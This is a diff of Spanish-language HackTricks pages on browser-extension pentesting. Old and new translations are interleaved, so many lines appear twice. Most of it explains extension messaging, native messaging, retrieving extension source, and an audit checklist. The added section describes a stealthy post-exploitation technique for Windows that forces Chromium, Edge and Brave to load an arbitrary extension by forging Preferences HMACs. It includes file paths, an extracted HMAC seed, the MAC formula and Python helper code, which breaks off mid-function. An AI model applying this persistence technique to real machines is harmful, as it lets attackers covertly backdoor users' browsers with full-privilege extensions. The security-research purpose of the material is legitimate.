Esto no es "exactamente" una forma de comunicación, pero el sitio web y el **content script** tendrán acceso al web DOM. Por lo tanto, si el **content script** está leyendo información de éste, confiando en el web DOM, el sitio web podría **modificar estos datos** (porque no se debe confiar en el web, o porque el sitio es vulnerable a XSS) y **comprometer el Content Script**.
También puedes encontrar un ejemplo de un **DOM based XSS to compromise a browser extension** en:
También puedes encontrar un ejemplo de un **XSS basado en DOM para comprometer una extensión de navegador** en:
{{#ref}}
browext-xss-example.md
{{#endref}}
## Comunicación entre Script de Contenido **↔︎** Script de Fondo
## Content Script **↔︎** Background Script Communication
Un Script de Contenido puede usar las funciones [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **o** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) para enviar un mensaje **serializable en JSON de una sola vez**.
A Content Script can use the functions [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **or** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) to send a **one-time JSON-serializable** message.
Para manejar la **respuesta**, usa la **Promise** devuelta. Aunque, por compatibilidad hacia atrás, aún puedes pasar un **callback** como el último argumento.
Para manejar la **respuesta**, usa la **Promise** devuelta. Aunque, por compatibilidad retroactiva, aún puedes pasar un **callback** como último argumento.
Enviar una solicitud desde un **script de contenido** se ve así:
Enviar una petición desde un **content script** se ve así:
```javascript
;(async () => {
const response = await chrome.runtime.sendMessage({ greeting: "hello" })
@ -496,7 +501,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
console.log(response)
})()
```
Enviando una solicitud desde la **extensión** (generalmente un **script de fondo**). Ejemplo de cómo enviar un mensaje al script de contenido en la pestaña seleccionada:
Enviando una request desde la **extension** (usualmente un **background script**). Ejemplo de cómo enviar un message al content script en la selected tab:
```javascript
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
;(async () => {
@ -509,7 +514,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
console.log(response)
})()
```
En el **lado receptor**, necesitas configurar un [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **escuchador de eventos** para manejar el mensaje. Esto se ve igual desde un script de contenido o una página de extensión.
En el **lado receptor**, debes configurar un [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **manejador de eventos** para manejar el mensaje. Esto se ve igual desde un content script o extension page.
```javascript
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
@ -521,15 +526,15 @@ sender.tab
if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
})
```
En el ejemplo destacado, **`sendResponse()`** se ejecutó de manera sincrónica. Para modificar el controlador de eventos `onMessage` para la ejecución asincrónica de `sendResponse()`, es imperativo incorporar `return true;`.
En el ejemplo resaltado, **`sendResponse()`** se ejecutó de forma síncrona. Para modificar el manejador del evento `onMessage` y permitir la ejecución asíncrona de `sendResponse()`, es imprescindible incorporar `return true;`.
Una consideración importante es que en escenarios donde múltiples páginas están configuradas para recibir eventos `onMessage`, **la primera página en ejecutar `sendResponse()`** para un evento específico será la única que podrá entregar la respuesta de manera efectiva. Cualquier respuesta subsiguiente al mismo evento no será tenida en cuenta.
Una consideración importante es que, en escenarios donde varias páginas están configuradas para recibir eventos `onMessage`, **la primera página que ejecute `sendResponse()`** para un evento específico será la única capaz de entregar la respuesta efectivamente. Cualquier respuesta posterior al mismo evento no será tenida en cuenta.
Al crear nuevas extensiones, la preferencia debe ser hacia promesas en lugar de callbacks. Con respecto al uso de callbacks, la función `sendResponse()` se considera válida solo si se ejecuta directamente dentro del contexto sincrónico, o si el controlador de eventos indica una operación asincrónica al devolver `true`. Si ninguno de los controladores devuelve `true` o si la función `sendResponse()` se elimina de la memoria (recolectada por el garbage collector), el callback asociado con la función `sendMessage()` se activará por defecto.
Al desarrollar nuevas extensiones, se debe preferir el uso de promises en lugar de callbacks. Respecto al uso de callbacks, la función `sendResponse()` se considera válida solo si se ejecuta directamente en el contexto síncrono, o si el manejador del evento indica una operación asíncrona devolviendo `true`. Si ninguno de los manejadores devuelve `true` o si la función `sendResponse()` es liberada de memoria (garbage-collected), el callback asociado a `sendMessage()` se ejecutará por defecto.
## Mensajería Nativa
## Native Messaging
Las extensiones del navegador también permiten comunicarse con **binarios en el sistema a través de stdin**. La aplicación debe instalar un json que lo indique en un json como:
Las extensiones del navegador también permiten comunicarse con **binarios en el sistema vía `stdin`**. La aplicación debe instalar un json que lo indique en un json como:
```json
{
"name": "com.my_company.my_application",
@ -539,14 +544,14 @@ Las extensiones del navegador también permiten comunicarse con **binarios en el
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
}
```
Donde el `name` es la cadena pasada a [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) o [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) para comunicarse con la aplicación desde los scripts de fondo de la extensión del navegador. La `path` es la ruta al binario, solo hay 1 `type` válido que es stdio (usar stdin y stdout) y los `allowed_origins` indican las extensiones que pueden acceder a él (y no pueden tener comodín).
Where the `name` is the string passed to [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) or [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) to communicate with the application from the background scripts of the browser extension. The `path` is the path to the binary, there is only 1 valid `type` which is stdio (use stdin and stdout) and the `allowed_origins` indicate the extensions that can access it (and can't have wildcard).
Chrome/Chromium buscará este json en algunos registros de Windows y algunas rutas en macOS y Linux (más información en los [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
Chrome/Chromium will search for this json in some windows registry and some paths in macOS and Linux (more info in the [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
> [!TIP]
> La extensión del navegador también necesita el permiso `nativeMessaing` declarado para poder utilizar esta comunicación.
> The browser extension also needs the `nativeMessaing` permission declared in order to be able to use this communication.
Así es como se ve un código de script de fondo enviando mensajes a una aplicación nativa:
This is how it looks like some background script code sending messages to a native application:
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -556,142 +561,150 @@ console.log("Received " + response)
}
)
```
En [**esta publicación del blog**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), se propone un patrón vulnerable que abusa de los mensajes nativos:
In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), se propone un patrón vulnerable que abusa de native messages:
1. La extensión del navegador tiene un patrón comodín para el script de contenido.
2. El script de contenido pasa mensajes `postMessage` al script de fondo usando `sendMessage`.
3. El script de fondo pasa el mensaje a la aplicación nativa usando `sendNativeMessage`.
4. La aplicación nativa maneja el mensaje de manera peligrosa, lo que lleva a la ejecución de código.
1. La extensión del navegador tiene un patrón wildcard para content script.
2. El content script pasa mensajes `postMessage` al background script usando `sendMessage`.
3. El background script pasa el mensaje a la aplicación nativa usando `sendNativeMessage`.
4. La aplicación nativa maneja el mensaje de forma peligrosa, llevando a code execution.
Y dentro de esto se explica un ejemplo de **cómo ir de cualquier página a RCE abusando de una extensión del navegador**.
Y dentro de él se explica un ejemplo de **cómo ir desde cualquier página a RCE abusando de una extensión del navegador**.
## Información Sensible en Memoria/Código/Portapapeles
## Información sensible en memoria/código/portapapeles
Si una Extensión del Navegador almacena **información sensible dentro de su memoria**, esto podría ser **volcado** (especialmente en máquinas Windows) y **buscado** para esta información.
Si una extensión del navegador almacena **información sensible en su memoria**, esta podría ser **volcada** (especialmente en máquinas Windows) y **buscada** para obtener dicha información.
Por lo tanto, la memoria de la Extensión del Navegador **no debe considerarse segura** y **la información sensible** como credenciales o frases mnemotécnicas **no debe ser almacenada**.
Por lo tanto, la memoria de la extensión del navegador **no debe considerarse segura** y la **información sensible**, como credenciales o frases mnemónicas, **no debe almacenarse**.
Por supuesto, no **coloque información sensible en el código**, ya que será **pública**.
Por supuesto, no pongas **información sensible en el código**, ya que será **pública**.
Para volcar la memoria del navegador, podría **volcar la memoria del proceso** o ir a la **configuración** de la extensión del navegador y hacer clic en **`Inspeccionar pop-up`** -> En la sección **`Memoria`** -> **`Tomar un instantáneo`** y **`CTRL+F`** para buscar dentro del instantáneo información sensible.
Para volcar la memoria desde el navegador podrías **volcar la memoria del proceso** o ir a las **configuraciones** de la extensión del navegador y hacer clic en **`Inspect pop-up`** -> En la sección **`Memory`** -> **`Take a snaphost`** y presionar **`CTRL+F`** para buscar dentro del snapshot información sensible.
Además, información altamente sensible como claves mnemotécnicas o contraseñas **no debería permitirse que se copien en el portapapeles** (o al menos eliminarla del portapapeles en unos segundos) porque entonces los procesos que monitorean el portapapeles podrán obtenerlas.
Además, la información altamente sensible, como claves mnemónicas o contraseñas, **no debería permitirse copiarla en el portapapeles** (o al menos eliminarla del portapapeles pasados unos segundos) porque entonces procesos que monitorizan el portapapeles podrán obtenerla.
## Cargando una Extensión en el Navegador
## Cargar una extensión en el navegador
1. **Descargue** la Extensión del Navegador y descomprímala.
2. Vaya a **`chrome://extensions/`** y **active** el `Modo de Desarrollador`.
3. Haga clic en el botón **`Cargar descomprimido`**.
1. **Descargar** la extensión del navegador y descomprimirla
2. Ve a **`chrome://extensions/`** y **activa** el `Developer Mode`
3. Haz clic en el botón **`Load unpacked`**
En **Firefox**, vaya a **`about:debugging#/runtime/this-firefox`** y haga clic en el botón **`Cargar complemento temporal`**.
En **Firefox** ve a **`about:debugging#/runtime/this-firefox`** y haz clic en el botón **`Load Temporary Add-on`**.
## Obtener el código fuente de la tienda
## Obtener el código fuente desde la tienda
El código fuente de una extensión de Chrome se puede obtener a través de varios métodos. A continuación se detallan explicaciones e instrucciones para cada opción.
El código fuente de una extensión de Chrome puede obtenerse mediante varios métodos. A continuación se ofrecen explicaciones detalladas e instrucciones para cada opción.
### Descargar la Extensión como ZIP a través de la Línea de Comandos
### Descargar la extensión como ZIP vía línea de comandos
El código fuente de una extensión de Chrome se puede descargar como un archivo ZIP utilizando la línea de comandos. Esto implica usar `curl` para obtener el archivo ZIP de una URL específica y luego extraer el contenido del archivo ZIP a un directorio. Aquí están los pasos:
El código fuente de una extensión de Chrome puede descargarse como un archivo ZIP usando la línea de comandos. Esto implica usar `curl` para obtener el archivo ZIP desde una URL específica y luego extraer el contenido del ZIP a un directorio. Aquí están los pasos:
1. Reemplace `"extension_id"` con el ID real de la extensión.
2. Ejecute los siguientes comandos:
1. Sustituye `"extension_id"` por el ID real de la extensión.
2. Ejecuta los siguientes comandos:
```bash
extension_id=your_extension_id # Replace with the actual extension ID
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
unzip -d "$extension_id-source" "$extension_id.zip"
```
### Usa el sitio web CRX Viewer
### Usar el sitio web CRX Viewer
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
### Usa la extensión CRX Viewer
### Usar la extensión CRX Viewer
Otro método conveniente es usar el Chrome Extension Source Viewer, que es un proyecto de código abierto. Se puede instalar desde la [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). El código fuente del visor está disponible en su [repositorio de GitHub](https://github.com/Rob--W/crxviewer).
Otro método conveniente es usar el Chrome Extension Source Viewer, que es un proyecto open-source. Se puede instalar desde el [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). El código fuente del viewer está disponible en su [GitHub repository](https://github.com/Rob--W/crxviewer).
### Ver el código fuente de la extensión instalada localmente
### Ver el código fuente de una extensión instalada localmente
Las extensiones de Chrome instaladas localmente también se pueden inspeccionar. Aquí te explicamos cómo:
Las extensiones de Chrome instaladas localmente también se pueden inspeccionar. Aquí se explica cómo:
1. Accede a tu directorio de perfil local de Chrome visitando `chrome://version/` y localizando el campo "Profile Path".
2. Navega a la subcarpeta `Extensions/` dentro del directorio del perfil.
1. Accede al directorio de perfil local de Chrome visitando `chrome://version/` y localizando el campo "Profile Path".
2. Navega a la subcarpeta `Extensions/` dentro del directorio de perfil.
3. Esta carpeta contiene todas las extensiones instaladas, típicamente con su código fuente en un formato legible.
Para identificar las extensiones, puedes mapear sus IDs a nombres:
Para identificar extensiones, puedes mapear sus IDs a nombres:
- Habilita el Modo Desarrollador en la página `about:extensions` para ver los IDs de cada extensión.
- Dentro de la carpeta de cada extensión, el archivo `manifest.json` contiene un campo `name` legible, ayudándote a identificar la extensión.
- Activa Developer Mode en la página `about:extensions` para ver los IDs de cada extensión.
- Dentro de la carpeta de cada extensión, el archivo `manifest.json` contiene un campo `name` legible que ayuda a identificar la extensión.
### Usa un archivador de archivos o descompresor
### Usar un File Archiver o Unpacker
Ve a la Chrome Web Store y descarga la extensión. El archivo tendrá una extensión `.crx`. Cambia la extensión del archivo de `.crx` a `.zip`. Usa cualquier archivador de archivos (como WinRAR, 7-Zip, etc.) para extraer el contenido del archivo ZIP.
Ve al Chrome Web Store y descarga la extensión. El archivo tendrá la extensión `.crx`. Cambia la extensión del archivo de `.crx` a `.zip`. Usa cualquier archivador de archivos (como WinRAR, 7-Zip, etc.) para extraer el contenido del archivo ZIP.
### Usa el Modo Desarrollador en Chrome
### Usar Developer Mode en Chrome
Abre Chrome y ve a `chrome://extensions/`. Habilita "Modo desarrollador" en la parte superior derecha. Haz clic en "Cargar extensión descomprimida...". Navega al directorio de tu extensión. Esto no descarga el código fuente, pero es útil para ver y modificar el código de una extensión ya descargada o desarrollada.
Abre Chrome y ve a `chrome://extensions/`. Habilita "Developer mode" en la esquina superior derecha. Haz clic en "Load unpacked extension...". Navega hasta el directorio de tu extensión. Esto no descarga el código fuente, pero es útil para ver y modificar el código de una extensión ya descargada o desarrollada.
## Conjunto de datos del manifiesto de la extensión de Chrome
## Chrome extension manifest dataset
Para intentar detectar extensiones de navegador vulnerables, podrías usar el [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) y revisar sus archivos de manifiesto en busca de señales potencialmente vulnerables. Por ejemplo, para verificar extensiones con más de 25000 usuarios, `content_scripts` y el permiso `nativeMessaing`:
Para intentar localizar extensiones de navegador vulnerables puedes usar el [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) y revisar sus archivos manifest en busca de señales potencialmente vulnerables. Por ejemplo, para buscar extensiones con más de 25000 usuarios, `content_scripts` y el permiso `nativeMessaing`:
```bash
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
```
## Lista de Verificación de Auditoría de Seguridad
## Post-explotación: carga forzada de extensión y persistencia (Windows)
Aunque las extensiones de navegador tienen una **superficie de ataque limitada**, algunas de ellas pueden contener **vulnerabilidades** o **mejoras de endurecimiento potenciales**. Las siguientes son las más comunes:
Técnica sigilosa para backdoorizar Chromium editando directamente las Preferences por usuario y forjando HMACs válidos, provocando que el navegador acepte y active una extensión unpacked arbitraria sin prompts ni flags.
- [ ] **Limitar** tanto como sea posible los **`permissions`** solicitados
- [ ] **Limitar** tanto como sea posible los **`host_permissions`**
- [ ] Usar una **política de seguridad de contenido** **`content_security_policy`** **fuerte**
- [ ] **Limitar** tanto como sea posible el **`externally_connectable`**, si no se necesita y es posible, no dejarlo por defecto, especificar **`{}`**
- [ ] Si se menciona aquí una **URL vulnerable a XSS o a toma de control**, un atacante podrá **enviar mensajes a los scripts de fondo directamente**. Un bypass muy poderoso.
- [ ] **Limitar** tanto como sea posible los **`web_accessible_resources`**, incluso vacíos si es posible.
- [ ] Si **`web_accessible_resources`** no es ninguno, verificar [**ClickJacking**](browext-clickjacking.md)
- [ ] Si ocurre alguna **comunicación** de la **extensión** a la **página web**, [**verificar XSS**](browext-xss-example.md) **vulnerabilidades** causadas en la comunicación.
- [ ] Si se utilizan Post Messages, verificar [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/index.html)**.**
- [ ] Si el **Content Script accede a detalles del DOM**, verificar que **no estén introduciendo un XSS** si son **modificados** por la web
- [ ] Hacer un énfasis especial si esta comunicación también está involucrada en la **comunicación de Content Script -> script de fondo**
- [ ] Si el script de fondo se comunica a través de **native messaging**, verificar que la comunicación sea segura y esté saneada
- [ ] **La información sensible no debe ser almacenada** dentro del código de la extensión del navegador
- [ ] **La información sensible no debe ser almacenada** dentro de la memoria de la extensión del navegador
- [ ] **La información sensible no debe ser almacenada** dentro del **sistema de archivos sin protección**
{{#ref}}
forced-extension-load-preferences-mac-forgery-windows.md
{{#endref}}
## Riesgos de la Extensión del Navegador
## Lista de verificación de auditoría de seguridad
- La aplicación [https://crxaminer.tech/](https://crxaminer.tech/) analiza algunos datos como los permisos que solicita la extensión del navegador para dar un nivel de riesgo de uso de la extensión del navegador.
Aunque las extensiones del navegador tienen una **superficie de ataque limitada**, algunas pueden contener **vulnerabilidades** o **posibles mejoras de hardening**. Las siguientes son las más comunes:
- [ ] **Limitar** al máximo los **`permissions`** solicitados
- [ ] **Limitar** al máximo **`host_permissions`**
- [ ] Usar una **`content_security_policy`** **fuerte**
- [ ] **Limitar** al máximo el **`externally_connectable`**; si no es necesario y es posible, no dejarlo por defecto, especificar **`{}`**
- [ ] Si aquí se menciona una **URL vulnerable a XSS o a takeover**, un atacante podrá **enviar mensajes directamente a los background scripts**. Bypass muy potente.
- [ ] **Limitar** al máximo los **`web_accessible_resources`**, incluso dejarlos vacíos si es posible.
- [ ] Si **`web_accessible_resources`** no es none, comprobar [**ClickJacking**](browext-clickjacking.md)
- [ ] Si ocurre cualquier **comunicación** desde la **extensión** hacia la **página web**, [**check for XSS**](browext-xss-example.md) **vulnerabilidades** causadas en la comunicación.
- [ ] Si se usan Post Messages, revisar [**Post Message vulnerabilities**](../postmessage-vulnerabilities/index.html)**.**
- [ ] Si el **Content Script** accede a detalles del DOM, comprobar que no **introduzcan XSS** si son **modificados** por la web
- [ ] Hacer especial énfasis si esta comunicación también está involucrada en la **Content Script -> Background script communication**
- [ ] Si el background script se comunica vía **native messaging**, comprobar que la comunicación sea segura y esté saneada
- [ ] **La información sensible no debería almacenarse** dentro del **código** de la extensión del navegador
- [ ] **La información sensible no debería almacenarse** en la **memoria** de la extensión
- [ ] **La información sensible no debería almacenarse** en el **sistema de archivos sin protección**
## Riesgos de las extensiones del navegador
- La app [https://crxaminer.tech/](https://crxaminer.tech/) analiza algunos datos como los permisos que la extensión solicita para dar un nivel de riesgo al uso de la extensión.
## Herramientas
### [**Tarnish**](https://thehackerblog.com/tarnish/)
- Extrae cualquier extensión de Chrome de un enlace proporcionado de la tienda web de Chrome.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **visor**: simplemente muestra una versión JSON formateada del manifiesto de la extensión.
- **Análisis de Huellas Dactilares**: Detección de [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) y generación automática de JavaScript de huellas dactilares de extensiones de Chrome.
- **Análisis Potencial de Clickjacking**: Detección de páginas HTML de extensiones con la directiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) establecida. Estas son potencialmente vulnerables a clickjacking dependiendo del propósito de las páginas.
- **Visor de Advertencias de Permisos**: que muestra una lista de todas las advertencias de permisos de Chrome que se mostrarán cuando un usuario intente instalar la extensión.
- **Función(es) Peligrosa(s)**: muestra la ubicación de funciones peligrosas que podrían ser potencialmente explotadas por un atacante (por ejemplo, funciones como innerHTML, chrome.tabs.executeScript).
- **Punto(s) de Entrada**: muestra dónde la extensión recibe entrada de usuario/externa. Esto es útil para entender el área de superficie de una extensión y buscar puntos potenciales para enviar datos maliciosamente elaborados a la extensión.
- Tanto el escáner de Función(es) Peligrosa(s) como el de Punto(s) de Entrada tienen lo siguiente para sus alertas generadas:
- Fragmento de código relevante y línea que causó la alerta.
- Descarga cualquier extensión de Chrome desde un enlace al Chrome webstore proporcionado.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: simplemente muestra una versión JSON embellecida del manifest de la extensión.
- **Fingerprint Analysis**: Detección de [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) y generación automática de JavaScript para fingerprinting de extensiones de Chrome.
- **Potential Clickjacking Analysis**: Detección de páginas HTML de la extensión con la directiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) establecida. Estas pueden ser potencialmente vulnerables a clickjacking dependiendo del propósito de las páginas.
- **Permission Warning(s) viewer**: muestra una lista de todas las advertencias de permisos de Chrome que se mostrarán cuando un usuario intente instalar la extensión.
- **Dangerous Function(s)**: muestra la ubicación de funciones peligrosas que podrían ser explotadas por un atacante (p. ej. funciones como innerHTML, chrome.tabs.executeScript).
- **Entry Point(s)**: muestra dónde la extensión recibe input del usuario/externo. Esto es útil para entender la superficie de la extensión y buscar puntos potenciales para enviar datos maliciosamente creados a la extensión.
- Ambos escáneres Dangerous Function(s) y Entry Point(s) incluyen para sus alertas generadas:
- Fragmento de código relevante y la línea que provocó la alerta.
- Descripción del problema.
- Un botón "Ver Archivo" para ver el archivo fuente completo que contiene el código.
- La ruta del archivo alertado.
- La URI completa de la extensión de Chrome del archivo alertado.
- El tipo de archivo que es, como un script de Página de Fondo, Script de Contenido, Acción del Navegador, etc.
- Si la línea vulnerable está en un archivo JavaScript, las rutas de todas las páginas donde está incluida, así como el tipo de estas páginas y el estado de [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
- **Analizador de Política de Seguridad de Contenido (CSP) y verificador de bypass**: Esto señalará debilidades en la CSP de su extensión y también iluminará cualquier forma potencial de eludir su CSP debido a CDNs en la lista blanca, etc.
- **Bibliotecas Conocidas Vulnerables**: Esto utiliza [Retire.js](https://retirejs.github.io/retire.js/) para verificar cualquier uso de bibliotecas JavaScript conocidas como vulnerables.
- Descargar extensión y versiones formateadas.
- Un botón “View File” para ver el archivo fuente completo que contiene el código.
- La ruta del archivo afectado.
- La URI completa de la extensión de Chrome del archivo afectado.
- El tipo de archivo, por ejemplo Background Page script, Content Script, Browser Action, etc.
- Si la línea vulnerable está en un archivo JavaScript, las rutas de todas las páginas donde se incluye, así como el tipo de esas páginas y el estado de [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
- **Content Security Policy (CSP) analyzer and bypass checker**: señalará debilidades en la CSP de tu extensión y también iluminará posibles formas de bypass debido a CDNs en la whitelist, etc.
- **Known Vulnerable Libraries**: utiliza [Retire.js](https://retirejs.github.io/retire.js/) para comprobar el uso de librerías JavaScript con vulnerabilidades conocidas.
- Descargar la extensión y versiones formateadas.
- Descargar la extensión original.
- Descargar una versión embellecida de la extensión (HTML y JavaScript auto formateados).
- Caché automática de resultados de escaneo, ejecutar un escaneo de extensión tomará un buen tiempo la primera vez que lo ejecute. Sin embargo, la segunda vez, suponiendo que la extensión no se haya actualizado, será casi instantáneo debido a que los resultados están en caché.
- URLs de Informe enlazables, fácilmente enlazar a alguien más a un informe de extensión generado por tarnish.
- Descargar una versión embellecida de la extensión (HTML y JavaScript auto-prettified).
- Caché automática de resultados de escaneo: ejecutar un escaneo de extensión tomará bastante tiempo la primera vez. Sin embargo, la segunda vez, asumiendo que la extensión no se haya actualizado, será casi instantáneo debido a la caché de resultados.
- URLs de informe enlazables: facilita compartir con otra persona un informe de extensión generado por tarnish.
### [Neto](https://github.com/elevenpaths/neto)
El proyecto Neto es un paquete de Python 3 concebido para analizar y desentrañar características ocultas de los complementos y extensiones de navegador para navegadores bien conocidos como Firefox y Chrome. Automatiza el proceso de descomprimir los archivos empaquetados para extraer estas características de recursos relevantes en una extensión como `manifest.json`, carpetas de localización o archivos fuente de Javascript y HTML.
Project Neto es un paquete para Python 3 concebido para analizar y desvelar características ocultas de plugins y extensiones de navegador para navegadores conocidos como Firefox y Chrome. Automatiza el proceso de descomprimir los archivos empaquetados para extraer estas características de recursos relevantes en una extensión como `manifest.json`, carpetas de localización o archivos fuente JavaScript y HTML.
## Referencias
## References
- **Gracias a** [**@naivenom**](https://twitter.com/naivenom) **por la ayuda con esta metodología**
- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)

208
src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md Normal file
View File

@ -0,0 +1,208 @@
# Forced Extension Load & Preferences MAC Forgery (Windows)
{{#include ../../banners/hacktricks-training.md}}
## Descripción general
Técnica de post-explotación sigilosa para forzar la carga de extensiones arbitrarias en navegadores basados en Chromium en Windows editando las Preferences/Secure Preferences de un usuario y falsificando HMACs válidos para los nodos modificados. Funciona contra Chrome/Chromium, Edge y Brave. Observado aplicándose desde Chromium 130 hasta 139 en el momento de la publicación. Un simple primitivo de escritura en disco en el perfil de la víctima basta para persistir una extensión con todos los privilegios sin command-line flags ni avisos al usuario.
> Idea clave: Chromium almacena el estado por usuario de las extensiones en un archivo de preferencias JSON y lo protege con HMAC-SHA256. Si calculas MACs válidos con la semilla incrustada del navegador y los escribes junto a tus nodos inyectados, el navegador acepta y activa la entrada de tu extensión.
## Dónde vive el estado de la extensión (Windows)
- Non–domain‑joined Chrome profile:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (incluye una raíz "super_mac").
- Domain‑joined Chrome profile:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
- Nodos clave usados por Chromium:
- extensions.settings.<extension_id> → manifest/metadata incrustado para la entrada de la extensión
- protection.macs.extensions.settings.<extension_id> → HMAC para ese bloque JSON
- Chromium ≥134: extensions.ui.developer_mode (boolean) debe estar presente y firmado con MAC para que las extensiones sin empaquetar se activen
Esquema simplificado (ilustrativo):
```json
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}
```
Notas:
- Edge/Brave mantienen estructuras similares. El valor de protección de la semilla puede diferir (se observó que Edge/Brave usan una semilla null/otra en algunas builds).
## Extension IDs: path vs key and making them deterministic
Chromium deriva el ID de la extensión como sigue:
- Extensión empaquetada/firmada: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
- Desempaquetada (sin "key" en manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p
Para mantener un ID estable entre hosts, inserta una base64 DER public key fija en manifest.json bajo "key". El ID se derivará de esta "key" en lugar de la ruta de instalación.
Helper to generate a deterministic ID and a key pair:
```python
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)
def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64
print(generate_extension_keys())
```
Añade la clave pública generada a tu manifest.json para fijar el ID:
```json
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}
```
## Forging Preferences integrity MACs (core bypass)
Chromium protege las preferencias con HMAC‑SHA256 sobre "path" + el valor JSON serializado de cada nodo. La HMAC seed está incrustada en resources.pak del navegador y seguía siendo válida hasta Chromium 139.
Extrae la seed con GRIT pak_util y localiza el seed container (file id 146 en las builds probadas):
```bash
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
```
Calcule MACs (hexadecimal en mayúsculas) como:
```text
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))
```
Ejemplo mínimo en Python:
```python
import json, hmac, hashlib
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
